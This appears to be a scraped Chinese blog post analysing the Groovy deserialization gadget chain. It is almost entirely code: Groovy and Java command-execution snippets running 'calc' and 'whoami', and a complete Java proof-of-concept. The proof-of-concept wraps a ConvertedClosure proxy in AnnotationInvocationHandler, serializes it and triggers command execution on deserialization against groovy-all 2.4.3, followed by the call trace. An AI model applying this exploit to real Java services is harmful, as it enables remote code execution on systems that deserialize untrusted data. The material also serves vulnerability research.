Groovy反序列化链分析 - ToB企服应用市场:ToB评测及商务社交产业平台

<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.4.3</version>
</dependency>

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package org.example;
import org.codehaus.groovy.runtime.MethodClosure;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class methodClosure {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
MethodClosure mc = new MethodClosure(Runtime.getRuntime(), "exec");
Method m = MethodClosure.class.getDeclaredMethod("doCall", Object.class);
m.setAccessible(true);
m.invoke(mc, "calc");
}
}

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package org.example
class stringExecute {
static void main(String[] args){
println("calc".execute().text);
}
}

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// 直接命令执行
Runtime.getRuntime().exec("calc")
"calc".execute()
'calc'.execute()
"${"calc".execute()}"
"${'calc'.execute()}"
// 回显型命令执行
println "cmd /c dir".execute().text
println 'whoami'.execute().text
println "${"whoami".execute().text}"
println "${'whoami'.execute().text}"
def cmd = "whoami";
println "${cmd.execute().text}";

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package org.example;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.Map;
public class convertedClosure {
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
//封装我们需要执行的对象
MethodClosure methodClosure = new MethodClosure("calc", "execute");
ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
// 创建 ConvertedClosure 的动态代理类实例
Map handler = (Map) Proxy.newProxyInstance(ConvertedClosure.class.getClassLoader(), new Class[]{Map.class}, closure);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, handler);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./Groovy"));
outputStream.writeObject(invocationHandler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Groovy"));
inputStream.readObject();
}
catch(Exception e){
e.printStackTrace();
}
}
}

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AnnotationInvocationHandler.readObject()
Map.entrySet() (Proxy)
ConversionHandler.invoke()
ConvertedClosure.invokeCustom()
MethodClosure.call()
ProcessGroovyMethods.execute()

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